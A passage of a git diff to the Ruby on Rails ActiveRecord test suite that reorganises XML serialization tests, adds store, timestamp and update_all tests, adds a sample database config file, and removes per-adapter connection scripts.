comments.count + + assert_equal count, comments.update_all(:post_id => posts(:thinking).id) + assert_equal posts(:thinking), comments(:greetings).post + end + + def test_update_all_with_joins_and_limit + comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).limit(1) + assert_equal 1, comments.update_all(:post_id => posts(:thinking).id) + end + + def test_update_all_with_joins_and_limit_and_order + comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).order('comments.id').limit(1) + assert_equal 1, comments.update_all(:post_id => posts(:thinking).id) + assert_equal posts(:thinking), comments(:greetings).post + assert_equal posts(:welcome), comments(:more_greetings).post + end + + def test_update_all_with_joins_and_offset + all_comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id) + count = all_comments.count + comments = all_comments.offset(1) + + assert_equal count - 1, comments.update_all(:post_id => posts(:thinking).id) + end + + def test_update_all_with_joins_and_offset_and_order + all_comments = Comment.joins(:post).where('posts.id' => posts(:welcome).id).order('posts.id', 'comments.id') + count = all_comments.count + comments = all_comments.offset(1) + + assert_equal count - 1, comments.update_all(:post_id => posts(:thinking).id) + assert_equal posts(:thinking), comments(:more_greetings).post + assert_equal posts(:welcome), comments(:greetings).post + end end diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb index e8f2f44189..71ff727b7f 100644 --- a/activerecord/test/cases/schema_dumper_test.rb +++ b/activerecord/test/cases/schema_dumper_test.rb @@ -1,13 +1,22 @@ require "cases/helper" -require 'stringio' class SchemaDumperTest < ActiveRecord::TestCase + def setup + @stream = StringIO.new + end + def standard_dump - stream = StringIO.new + @stream = StringIO.new ActiveRecord::SchemaDumper.ignore_tables = [] - ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream) - stream.string + ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, @stream) + @stream.string + end + + if "string".encoding_aware? + def test_magic_comment + assert_match "# encoding: #{@stream.external_encoding.name}", standard_dump + end end def test_schema_dump @@ -230,4 +239,3 @@ class SchemaDumperTest < ActiveRecord::TestCase assert_match %r{t.string[[:space:]]+"id",[[:space:]]+:null => false$}, match[2], "non-primary key id column not preserved" end end - diff --git a/activerecord/test/cases/serialization_test.rb b/activerecord/test/cases/serialization_test.rb index 677d659f39..61b04b3e37 100644 --- a/activerecord/test/cases/serialization_test.rb +++ b/activerecord/test/cases/serialization_test.rb @@ -1,26 +1,20 @@ require "cases/helper" require 'models/contact' require 'models/topic' -require 'models/reply' -require 'models/company' class SerializationTest < ActiveRecord::TestCase - - fixtures :topics, :companies, :accounts - FORMATS = [ :xml, :json ] def setup @contact_attributes = { - :name => 'aaron stack', - :age => 25, - :avatar => 'binarydata', - :created_at => Time.utc(2006, 8, 1), - :awesome => false, - :preferences => { :gem => '<strong>ruby</strong>' } + :name => 'aaron stack', + :age => 25, + :avatar => 'binarydata', + :created_at => Time.utc(2006, 8, 1), + :awesome => false, + :preferences => { :gem => '<strong>ruby</strong>' }, + :alternative_id => nil } - - @contact = Contact.new(@contact_attributes) end def test_serialized_init_with @@ -29,134 +23,6 @@ class SerializationTest < ActiveRecord::TestCase assert_equal 'foo', topic.content end - def test_to_xml - xml = REXML::Document.new(topics(:first).to_xml(:indent => 0)) - bonus_time_in_current_timezone = topics(:first).bonus_time.xmlschema - written_on_in_current_timezone = topics(:first).written_on.xmlschema - last_read_in_current_timezone = topics(:first).last_read.xmlschema - - assert_equal "topic", xml.root.name - assert_equal "The First Topic" , xml.elements["//title"].text - assert_equal "David" , xml.elements["//author-name"].text - assert_match "Have a nice day", xml.elements["//content"].text - - assert_equal "1", xml.elements["//id"].text - assert_equal "integer" , xml.elements["//id"].attributes['type'] - - assert_equal "1", xml.elements["//replies-count"].text - assert_equal "integer" , xml.elements["//replies-count"].attributes['type'] - - assert_equal written_on_in_current_timezone, xml.elements["//written-on"].text - assert_equal "datetime" , xml.elements["//written-on"].attributes['type'] - - assert_equal "david@loudthinking.com", xml.elements["//author-email-address"].text - - assert_equal nil, xml.elements["//parent-id"].text - assert_equal "integer", xml.elements["//parent-id"].attributes['type'] - assert_equal "true", xml.elements["//parent-id"].attributes['nil'] - - if current_adapter?(:SybaseAdapter) - assert_equal last_read_in_current_timezone, xml.elements["//last-read"].text - assert_equal "datetime" , xml.elements["//last-read"].attributes['type'] - else - # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb) - assert_equal "2004-04-15", xml.elements["//last-read"].text - assert_equal "date" , xml.elements["//last-read"].attributes['type'] - end - - # Oracle and DB2 don't have true boolean or time-only fields - unless current_adapter?(:OracleAdapter, :DB2Adapter) - assert_equal "false", xml.elements["//approved"].text - assert_equal "boolean" , xml.elements["//approved"].attributes['type'] - - assert_equal bonus_time_in_current_timezone, xml.elements["//bonus-time"].text - assert_equal "datetime" , xml.elements["//bonus-time"].attributes['type'] - end - end - - def test_to_xml_skipping_attributes - xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :replies_count]) - assert_equal "<topic>", xml.first(7) - assert !xml.include?(%(<title>The First Topic</title>)) - assert xml.include?(%(<author-name>David</author-name>)) - - xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :author_name, :replies_count]) - assert !xml.include?(%(<title>The First Topic</title>)) - assert !xml.include?(%(<author-name>David</author-name>)) - end - - def test_to_xml_including_has_many_association - xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :include => :replies, :except => :replies_count) - assert_equal "<topic>", xml.first(7) - assert xml.include?(%(<replies type="array"><reply>)) - assert xml.include?(%(<title>The Second Topic of the day</title>)) - end - - def test_array_to_xml_including_has_many_association - xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :include => :replies) - assert xml.include?(%(<replies type="array"><reply>)) - end - - def test_array_to_xml_including_methods - xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :methods => [ :topic_id ]) - assert xml.include?(%(<topic-id type="integer">#{topics(:first).topic_id}</topic-id>)), xml - assert xml.include?(%(<topic-id type="integer">#{topics(:second).topic_id}</topic-id>)), xml - end - - def test_array_to_xml_including_has_one_association - xml = [ companies(:first_firm), companies(:rails_core) ].to_xml(:indent => 0, :skip_instruct => true, :include => :account) - assert xml.include?(companies(:first_firm).account.to_xml(:indent => 0, :skip_instruct => true)) - assert xml.include?(companies(:rails_core).account.to_xml(:indent => 0, :skip_instruct => true)) - end - - def test_array_to_xml_including_belongs_to_association - xml = [ companies(:first_client), companies(:second_client), companies(:another_client) ].to_xml(:indent => 0, :skip_instruct => true, :include => :firm) - assert xml.include?(companies(:first_client).to_xml(:indent => 0, :skip_instruct => true)) - assert xml.include?(companies(:second_client).firm.to_xml(:indent => 0, :skip_instruct => true)) - assert xml.include?(companies(:another_client).firm.to_xml(:indent => 0, :skip_instruct => true)) - end - - def test_to_xml_including_belongs_to_association - xml = companies(:first_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm) - assert !xml.include?("<firm>") - - xml = companies(:second_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm) - assert xml.include?("<firm>") - end - - def test_to_xml_including_multiple_associations - xml = companies(:first_firm).to_xml(:indent => 0, :skip_instruct => true, :include => [ :clients, :account ]) - assert_equal "<firm>", xml.first(6) - assert xml.include?(%(<account>)) - assert xml.include?(%(<clients type="array"><client>)) - end - - def test_to_xml_including_multiple_associations_with_options - xml = companies(:first_firm).to_xml( - :indent => 0, :skip_instruct => true, - :include => { :clients => { :only => :name } } - ) - - assert_equal "<firm>", xml.first(6) - assert xml.include?(%(<client><name>Summit</name></client>)) - assert xml.include?(%(<clients type="array"><client>)) - end - - def test_to_xml_including_methods - xml = Company.new.to_xml(:methods => :arbitrary_method, :skip_instruct => true) - assert_equal "<company>", xml.first(9) - assert xml.include?(%(<arbitrary-method>I am Jack's profound disappointment</arbitrary-method>)) - end - - def test_to_xml_with_block - value = "Rockin' the block" - xml = Company.new.to_xml(:skip_instruct => true) do |_xml| - _xml.tag! "arbitrary-element", value - end - assert_equal "<company>", xml.first(9) - assert xml.include?(%(<arbitrary-element>#{value}</arbitrary-element>)) - end - def test_serialize_should_be_reversible for format in FORMATS @serialized = Contact.new.send("to_#{format}") @@ -184,11 +50,4 @@ class SerializationTest < ActiveRecord::TestCase assert_equal @contact_attributes[:awesome], contact.awesome, "For #{format}" end end - - def test_serialize_should_xml_skip_instruct_for_included_records - @contact.alternative = Contact.new(:name => 'Copa Cabana') - @serialized = @contact.to_xml(:include => [ :alternative ]) - assert_equal @serialized.index('<?xml '), 0 - assert_nil @serialized.index('<?xml ', 1) - end end diff --git a/activerecord/test/cases/session_store/session_test.rb b/activerecord/test/cases/session_store/session_test.rb index 669c0b7b4d..258cee7aba 100644 --- a/activerecord/test/cases/session_store/session_test.rb +++ b/activerecord/test/cases/session_store/session_test.rb @@ -36,6 +36,7 @@ module ActiveRecord end def test_find_by_sess_id_compat + Session.reset_column_information klass = Class.new(Session) do def self.session_id_column 'sessid' @@ -53,6 +54,7 @@ module ActiveRecord assert_equal session.sessid, found.session_id ensure klass.drop_table! + Session.reset_column_information end def test_find_by_session_id diff --git a/activerecord/test/cases/store_test.rb b/activerecord/test/cases/store_test.rb new file mode 100644 index 0000000000..074fd39e65 --- /dev/null +++ b/activerecord/test/cases/store_test.rb @@ -0,0 +1,34 @@ +require 'cases/helper' +require 'models/admin' +require 'models/admin/user' + +class StoreTest < ActiveRecord::TestCase + setup do + @john = Admin::User.create(:name => 'John Doe', :color => 'black') + end + + test "reading store attributes through accessors" do + assert_equal 'black', @john.color + assert_nil @john.homepage + end + + test "writing store attributes through accessors" do + @john.color = 'red' + @john.homepage = '37signals.com' + + assert_equal 'red', @john.color + assert_equal '37signals.com', @john.homepage + end + + test "accessing attributes not exposed by accessors" do + @john.settings[:icecream] = 'graeters' + @john.save + + assert 'graeters', @john.reload.settings[:icecream] + end + + test "updating the store will mark it as changed" do + @john.color = 'red' + assert @john.settings_changed? + end +end diff --git a/activerecord/test/cases/timestamp_test.rb b/activerecord/test/cases/timestamp_test.rb index 22d4cac422..447aa29ffe 100644 --- a/activerecord/test/cases/timestamp_test.rb +++ b/activerecord/test/cases/timestamp_test.rb @@ -11,35 +11,10 @@ class TimestampTest < ActiveRecord::TestCase def setup @developer = Developer.first + @developer.update_attribute(:updated_at, Time.now.prev_month) @previously_updated_at = @developer.updated_at end - def test_load_infinity_and_beyond - unless current_adapter?(:PostgreSQLAdapter) - return skip("only tested on postgresql") - end - - d = Developer.find_by_sql("select 'infinity'::timestamp as updated_at") - assert d.first.updated_at.infinite?, 'timestamp should be infinite' - - d = Developer.find_by_sql("select '-infinity'::timestamp as updated_at") - time = d.first.updated_at - assert time.infinite?, 'timestamp should be infinite' - assert_operator time, :<, 0 - end - - def test_save_infinity_and_beyond - unless current_adapter?(:PostgreSQLAdapter) - return skip("only tested on postgresql") - end - - d = Developer.create!(:name => 'aaron', :updated_at => 1.0 / 0.0) - assert_equal(1.0 / 0.0, d.updated_at) - - d = Developer.create!(:name => 'aaron', :updated_at => -1.0 / 0.0) - assert_equal(-1.0 / 0.0, d.updated_at) - end - def test_saving_a_changed_record_updates_its_timestamp @developer.name = "Jack Bauer" @developer.save! @@ -66,6 +41,15 @@ class TimestampTest < ActiveRecord::TestCase assert_equal previous_salary, @developer.salary end + def test_touching_a_record_with_default_scope_that_excludes_it_updates_its_timestamp + developer = @developer.becomes(DeveloperCalledJamis) + + developer.touch + assert_not_equal @previously_updated_at, developer.updated_at + developer.reload + assert_not_equal @previously_updated_at, developer.updated_at + end + def test_saving_when_record_timestamps_is_false_doesnt_update_its_timestamp Developer.record_timestamps = false @developer.name = "John Smith" @@ -76,6 +60,16 @@ class TimestampTest < ActiveRecord::TestCase Developer.record_timestamps = true end + def test_saving_when_instance_record_timestamps_is_false_doesnt_update_its_timestamp + @developer.record_timestamps = false + assert Developer.record_timestamps + + @developer.name = "John Smith" + @developer.save! + + assert_equal @previously_updated_at, @developer.updated_at + end + def test_touching_an_attribute_updates_timestamp previously_created_at = @developer.created_at @developer.touch(:created_at) diff --git a/activerecord/test/cases/unconnected_test.rb b/activerecord/test/cases/unconnected_test.rb index f85fb4e5da..e82ca3f93d 100644 --- a/activerecord/test/cases/unconnected_test.rb +++ b/activerecord/test/cases/unconnected_test.rb @@ -4,7 +4,7 @@ class TestRecord < ActiveRecord::Base end class TestUnconnectedAdapter < ActiveRecord::TestCase - self.use_transactional_fixtures = false unless supports_savepoints? + self.use_transactional_fixtures = false def setup @underlying = ActiveRecord::Base.connection diff --git a/activerecord/test/cases/xml_serialization_test.rb b/activerecord/test/cases/xml_serialization_test.rb index 756c8a32eb..88751a72f9 100644 --- a/activerecord/test/cases/xml_serialization_test.rb +++ b/activerecord/test/cases/xml_serialization_test.rb @@ -5,6 +5,9 @@ require 'models/author' require 'models/comment' require 'models/company_in_module' require 'models/toy' +require 'models/topic' +require 'models/reply' +require 'models/company' class XmlSerializationTest < ActiveRecord::TestCase def test_should_serialize_default_root @@ -50,6 +53,23 @@ class XmlSerializationTest < ActiveRecord::TestCase end assert_match %r{<creator>David</creator>}, @xml end + + def test_to_xml_with_block + value = "Rockin' the block" + xml = Contact.new.to_xml(:skip_instruct => true) do |_xml| + _xml.tag! "arbitrary-element", value + end + assert_equal "<contact>", xml.first(9) + assert xml.include?(%(<arbitrary-element>#{value}</arbitrary-element>)) + end + + def test_should_skip_instruct_for_included_records + @contact = Contact.new + @contact.alternative = Contact.new(:name => 'Copa Cabana') + @xml = @contact.to_xml(:include => [ :alternative ]) + assert_equal @xml.index('<?xml '), 0 + assert_nil @xml.index('<?xml ', 1) + end end class DefaultXmlSerializationTest < ActiveRecord::TestCase @@ -148,7 +168,63 @@ class NilXmlSerializationTest < ActiveRecord::TestCase end class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase - fixtures :authors, :posts, :projects + fixtures :topics, :companies, :accounts, :authors, :posts, :projects + + def test_to_xml + xml = REXML::Document.new(topics(:first).to_xml(:indent => 0)) + bonus_time_in_current_timezone = topics(:first).bonus_time.xmlschema + written_on_in_current_timezone = topics(:first).written_on.xmlschema + last_read_in_current_timezone = topics(:first).last_read.xmlschema + + assert_equal "topic", xml.root.name + assert_equal "The First Topic" , xml.elements["//title"].text + assert_equal "David" , xml.elements["//author-name"].text + assert_match "Have a nice day", xml.elements["//content"].text + + assert_equal "1", xml.elements["//id"].text + assert_equal "integer" , xml.elements["//id"].attributes['type'] + + assert_equal "1", xml.elements["//replies-count"].text + assert_equal "integer" , xml.elements["//replies-count"].attributes['type'] + + assert_equal written_on_in_current_timezone, xml.elements["//written-on"].text + assert_equal "datetime" , xml.elements["//written-on"].attributes['type'] + + assert_equal "david@loudthinking.com", xml.elements["//author-email-address"].text + + assert_equal nil, xml.elements["//parent-id"].text + assert_equal "integer", xml.elements["//parent-id"].attributes['type'] + assert_equal "true", xml.elements["//parent-id"].attributes['nil'] + + if current_adapter?(:SybaseAdapter) + assert_equal last_read_in_current_timezone, xml.elements["//last-read"].text + assert_equal "datetime" , xml.elements["//last-read"].attributes['type'] + else + # Oracle enhanced adapter allows to define Date attributes in model class (see topic.rb) + assert_equal "2004-04-15", xml.elements["//last-read"].text + assert_equal "date" , xml.elements["//last-read"].attributes['type'] + end + + # Oracle and DB2 don't have true boolean or time-only fields + unless current_adapter?(:OracleAdapter, :DB2Adapter) + assert_equal "false", xml.elements["//approved"].text + assert_equal "boolean" , xml.elements["//approved"].attributes['type'] + + assert_equal bonus_time_in_current_timezone, xml.elements["//bonus-time"].text + assert_equal "datetime" , xml.elements["//bonus-time"].attributes['type'] + end + end + + def test_except_option + xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :replies_count]) + assert_equal "<topic>", xml.first(7) + assert !xml.include?(%(<title>The First Topic</title>)) + assert xml.include?(%(<author-name>David</author-name>)) + + xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :except => [:title, :author_name, :replies_count]) + assert !xml.include?(%(<title>The First Topic</title>)) + assert !xml.include?(%(<author-name>David</author-name>)) + end # to_xml used to mess with the hash the user provided which # caused the builder to be reused. This meant the document kept @@ -184,6 +260,39 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase assert_match %r{<hello-post>}, xml end + def test_including_has_many_association + xml = topics(:first).to_xml(:indent => 0, :skip_instruct => true, :include => :replies, :except => :replies_count) + assert_equal "<topic>", xml.first(7) + assert xml.include?(%(<replies type="array"><reply>)) + assert xml.include?(%(<title>The Second Topic of the day</title>)) + end + + def test_including_belongs_to_association + xml = companies(:first_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm) + assert !xml.include?("<firm>") + + xml = companies(:second_client).to_xml(:indent => 0, :skip_instruct => true, :include => :firm) + assert xml.include?("<firm>") + end + + def test_including_multiple_associations + xml = companies(:first_firm).to_xml(:indent => 0, :skip_instruct => true, :include => [ :clients, :account ]) + assert_equal "<firm>", xml.first(6) + assert xml.include?(%(<account>)) + assert xml.include?(%(<clients type="array"><client>)) + end + + def test_including_association_with_options + xml = companies(:first_firm).to_xml( + :indent => 0, :skip_instruct => true, + :include => { :clients => { :only => :name } } + ) + + assert_equal "<firm>", xml.first(6) + assert xml.include?(%(<client><name>Summit</name></client>)) + assert xml.include?(%(<clients type="array"><client>)) + end + def test_methods_are_called_on_object xml = authors(:david).to_xml :methods => :label, :indent => 0 assert_match %r{<label>.*</label>}, xml @@ -265,4 +374,27 @@ class DatabaseConnectedXmlSerializationTest < ActiveRecord::TestCase assert_equal array.size, array.select { |author| author.has_key? 'firstname' }.size end + def test_array_to_xml_including_has_many_association + xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :include => :replies) + assert xml.include?(%(<replies type="array"><reply>)) + end + + def test_array_to_xml_including_methods + xml = [ topics(:first), topics(:second) ].to_xml(:indent => 0, :skip_instruct => true, :methods => [ :topic_id ]) + assert xml.include?(%(<topic-id type="integer">#{topics(:first).topic_id}</topic-id>)), xml + assert xml.include?(%(<topic-id type="integer">#{topics(:second).topic_id}</topic-id>)), xml + end + + def test_array_to_xml_including_has_one_association + xml = [ companies(:first_firm), companies(:rails_core) ].to_xml(:indent => 0, :skip_instruct => true, :include => :account) + assert xml.include?(companies(:first_firm).account.to_xml(:indent => 0, :skip_instruct => true)) + assert xml.include?(companies(:rails_core).account.to_xml(:indent => 0, :skip_instruct => true)) + end + + def test_array_to_xml_including_belongs_to_association + xml = [ companies(:first_client), companies(:second_client), companies(:another_client) ].to_xml(:indent => 0, :skip_instruct => true, :include => :firm) + assert xml.include?(companies(:first_client).to_xml(:indent => 0, :skip_instruct => true)) + assert xml.include?(companies(:second_client).firm.to_xml(:indent => 0, :skip_instruct => true)) + assert xml.include?(companies(:another_client).firm.to_xml(:indent => 0, :skip_instruct => true)) + end end diff --git a/activerecord/test/config.example.yml b/activerecord/test/config.example.yml new file mode 100644 index 0000000000..f450efd839 --- /dev/null +++ b/activerecord/test/config.example.yml @@ -0,0 +1,138 @@ +default_connection: <%= defined?(JRUBY_VERSION) ? 'jdbcsqlite3' : 'sqlite3' %> + +connections: + jdbcderby: + arunit: activerecord_unittest + arunit2: activerecord_unittest2 + + jdbch2: + arunit: activerecord_unittest + arunit2: activerecord_unittest2 + + jdbchsqldb: + arunit: activerecord_unittest + arunit2: activerecord_unittest2 + + jdbcmysql: + arunit: + username: rails + encoding: utf8 + arunit2: + username: rails + encoding: utf8 + + jdbcpostgresql: + arunit: + username: <%= ENV['user'] || 'rails' %> + arunit2: + username: <%= ENV['user'] || 'rails' %> + + jdbcsqlite3: + arunit: + database: <%= FIXTURES_ROOT %>/fixture_database.sqlite3 + timeout: 5000 + arunit2: + database: <%= FIXTURES_ROOT %>/fixture_database_2.sqlite3 + timeout: 5000 + + db2: + arunit: + adapter: ibm_db + host: localhost + username: arunit + password: arunit + database: arunit + arunit2: + adapter: ibm_db + host: localhost + username: arunit + password: arunit + database: arunit2 + + firebird: + arunit: + host: localhost + username: rails + password: rails + charset: UTF8 + arunit2: + host: localhost + username: rails + password: rails + charset: UTF8 + + frontbase: + arunit: + host: localhost + username: rails + session_name: unittest-<%= $$ %> + arunit2: + host: localhost + username: rails + session_name: unittest-<%= $$ %> + + mysql: + arunit: + username: rails + encoding: utf8 + arunit2: + username: rails + encoding: utf8 + + mysql2: + arunit: + username: rails + encoding: utf8 + arunit2: + username: rails + encoding: utf8 + + openbase: + arunit: + username: admin + arunit2: + username: admin + + oracle: + arunit: + adapter: oracle_enhanced + database: <%= ENV['ARUNIT_DB_NAME'] || 'orcl' %> + username: <%= ENV['ARUNIT_USER_NAME'] || 'arunit' %> + password: <%= ENV['ARUNIT_PASSWORD'] || 'arunit' %> + emulate_oracle_adapter: true + arunit2: + adapter: oracle_enhanced + database: <%= ENV['ARUNIT_DB_NAME'] || 'orcl' %> + username: <%= ENV['ARUNIT2_USER_NAME'] || 'arunit2' %> + password: <%= ENV['ARUNIT2_PASSWORD'] || 'arunit2' %> + emulate_oracle_adapter: true + + postgresql: + arunit: + min_messages: warning + arunit2: + min_messages: warning + + sqlite3: + arunit: + database: <%= FIXTURES_ROOT %>/fixture_database.sqlite3 + timeout: 5000 + arunit2: + database: <%= FIXTURES_ROOT %>/fixture_database_2.sqlite3 + timeout: 5000 + + sqlite3_mem: + arunit: + adapter: sqlite3 + database: ':memory:' + arunit2: + adapter: sqlite3 + database: ':memory:' + + sybase: + arunit: + host: database_ASE + username: sa + arunit2: + host: database_ASE + username: sa diff --git a/activerecord/test/connections/jdbc_jdbcderby/connection.rb b/activerecord/test/connections/jdbc_jdbcderby/connection.rb deleted file mode 100644 index 222ef5db38..0000000000 --- a/activerecord/test/connections/jdbc_jdbcderby/connection.rb +++ /dev/null @@ -1,18 +0,0 @@ -print "Using Derby via JRuby, activerecord-jdbc-adapter and activerecord-jdbcderby-adapter\n" -require_dependency 'models/course' -require 'logger' -ActiveRecord::Base.logger = Logger.new("debug.log") - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'jdbcderby', - :database => 'activerecord_unittest' - }, - 'arunit2' => { - :adapter => 'jdbcderby', - :database => 'activerecord_unittest2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/connections/jdbc_jdbch2/connection.rb b/activerecord/test/connections/jdbc_jdbch2/connection.rb deleted file mode 100644 index 9d2875e8e7..0000000000 --- a/activerecord/test/connections/jdbc_jdbch2/connection.rb +++ /dev/null @@ -1,18 +0,0 @@ -print "Using H2 via JRuby, activerecord-jdbc-adapter and activerecord-jdbch2-adapter\n" -require_dependency 'models/course' -require 'logger' -ActiveRecord::Base.logger = Logger.new("debug.log") - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'jdbch2', - :database => 'activerecord_unittest' - }, - 'arunit2' => { - :adapter => 'jdbch2', - :database => 'activerecord_unittest2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/connections/jdbc_jdbchsqldb/connection.rb b/activerecord/test/connections/jdbc_jdbchsqldb/connection.rb deleted file mode 100644 index fa943c2c76..0000000000 --- a/activerecord/test/connections/jdbc_jdbchsqldb/connection.rb +++ /dev/null @@ -1,18 +0,0 @@ -print "Using HSQLDB via JRuby, activerecord-jdbc-adapter and activerecord-jdbchsqldb-adapter\n" -require_dependency 'models/course' -require 'logger' -ActiveRecord::Base.logger = Logger.new("debug.log") - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'jdbchsqldb', - :database => 'activerecord_unittest' - }, - 'arunit2' => { - :adapter => 'jdbchsqldb', - :database => 'activerecord_unittest2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/connections/jdbc_jdbcmysql/connection.rb b/activerecord/test/connections/jdbc_jdbcmysql/connection.rb deleted file mode 100644 index e2517a50eb..0000000000 --- a/activerecord/test/connections/jdbc_jdbcmysql/connection.rb +++ /dev/null @@ -1,26 +0,0 @@ -print "Using MySQL via JRuby, activerecord-jdbc-adapter and activerecord-jdbcmysql-adapter\n" -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -# GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost'; -# GRANT ALL PRIVILEGES ON activerecord_unittest2.* to 'rails'@'localhost'; - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'jdbcmysql', - :username => 'rails', - :encoding => 'utf8', - :database => 'activerecord_unittest', - }, - 'arunit2' => { - :adapter => 'jdbcmysql', - :username => 'rails', - :database => 'activerecord_unittest2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' - diff --git a/activerecord/test/connections/jdbc_jdbcpostgresql/connection.rb b/activerecord/test/connections/jdbc_jdbcpostgresql/connection.rb deleted file mode 100644 index 0685da4433..0000000000 --- a/activerecord/test/connections/jdbc_jdbcpostgresql/connection.rb +++ /dev/null @@ -1,26 +0,0 @@ -print "Using Postgrsql via JRuby, activerecord-jdbc-adapter and activerecord-postgresql-adapter\n" -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -# createuser rails --createdb --no-superuser --no-createrole -# createdb -O rails activerecord_unittest -# createdb -O rails activerecord_unittest2 - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'jdbcpostgresql', - :username => ENV['USER'] || 'rails', - :database => 'activerecord_unittest' - }, - 'arunit2' => { - :adapter => 'jdbcpostgresql', - :username => ENV['USER'] || 'rails', - :database => 'activerecord_unittest2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' - diff --git a/activerecord/test/connections/jdbc_jdbcsqlite3/connection.rb b/activerecord/test/connections/jdbc_jdbcsqlite3/connection.rb deleted file mode 100644 index 26d4676ff3..0000000000 --- a/activerecord/test/connections/jdbc_jdbcsqlite3/connection.rb +++ /dev/null @@ -1,25 +0,0 @@ -print "Using SQLite3 via JRuby, activerecord-jdbc-adapter and activerecord-jdbcsqlite3-adapter\n" -require_dependency 'models/course' -require 'logger' -ActiveRecord::Base.logger = Logger.new("debug.log") - -class SqliteError < StandardError -end - -BASE_DIR = FIXTURES_ROOT -sqlite_test_db = "#{BASE_DIR}/fixture_database.sqlite3" -sqlite_test_db2 = "#{BASE_DIR}/fixture_database_2.sqlite3" - -def make_connection(clazz, db_file) - ActiveRecord::Base.configurations = { clazz.name => { :adapter => 'jdbcsqlite3', :database => db_file, :timeout => 5000 } } - unless File.exist?(db_file) - puts "SQLite3 database not found at #{db_file}. Rebuilding it." - sqlite_command = %Q{sqlite3 "#{db_file}" "create table a (a integer); drop table a;"} - puts "Executing '#{sqlite_command}'" - raise SqliteError.new("Seems that there is no sqlite3 executable available") unless system(sqlite_command) - end - clazz.establish_connection(clazz.name) -end - -make_connection(ActiveRecord::Base, sqlite_test_db) -make_connection(Course, sqlite_test_db2) diff --git a/activerecord/test/connections/native_db2/connection.rb b/activerecord/test/connections/native_db2/connection.rb deleted file mode 100644 index 324315d2c8..0000000000 --- a/activerecord/test/connections/native_db2/connection.rb +++ /dev/null @@ -1,25 +0,0 @@ -print "Using native DB2\n" -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'db2', - :host => 'localhost', - :username => 'arunit', - :password => 'arunit', - :database => 'arunit' - }, - 'arunit2' => { - :adapter => 'db2', - :host => 'localhost', - :username => 'arunit', - :password => 'arunit', - :database => 'arunit2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/connections/native_firebird/connection.rb b/activerecord/test/connections/native_firebird/connection.rb deleted file mode 100644 index 67a936ca97..0000000000 --- a/activerecord/test/connections/native_firebird/connection.rb +++ /dev/null @@ -1,26 +0,0 @@ -print "Using native Firebird\n" -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'firebird', - :host => 'localhost', - :username => 'rails', - :password => 'rails', - :database => 'activerecord_unittest', - :charset => 'UTF8' - }, - 'arunit2' => { - :adapter => 'firebird', - :host => 'localhost', - :username => 'rails', - :password => 'rails', - :database => 'activerecord_unittest2' - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/connections/native_frontbase/connection.rb b/activerecord/test/connections/native_frontbase/connection.rb deleted file mode 100644 index c01d864a8b..0000000000 --- a/activerecord/test/connections/native_frontbase/connection.rb +++ /dev/null @@ -1,27 +0,0 @@ -puts 'Using native Frontbase' -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -ActiveRecord::Base.configurations = { - 'arunit' => { - :adapter => 'frontbase', - :host => 'localhost', - :username => 'rails', - :password => '', - :database => 'activerecord_unittest', - :session_name => "unittest-#{$$}" - }, - 'arunit2' => { - :adapter => 'frontbase', - :host => 'localhost', - :username => 'rails', - :password => '', - :database => 'activerecord_unittest2', - :session_name => "unittest-#{$$}" - } -} - -ActiveRecord::Base.establish_connection 'arunit' -Course.establish_connection 'arunit2' diff --git a/activerecord/test/connections/native_mysql/connection.rb b/activerecord/test/connections/native_mysql/connection.rb deleted file mode 100644 index 140e06d631..0000000000 --- a/activerecord/test/connections/native_mysql/connection.rb +++ /dev/null @@ -1,25 +0,0 @@ -print "Using native MySQL\n" -require_dependency 'models/course' -require 'logger' - -ActiveRecord::Base.logger = Logger.new("debug.log") - -# GRANT ALL PRIVILEGES ON activerecord_unittest.* to 'rails'@'localhost'; 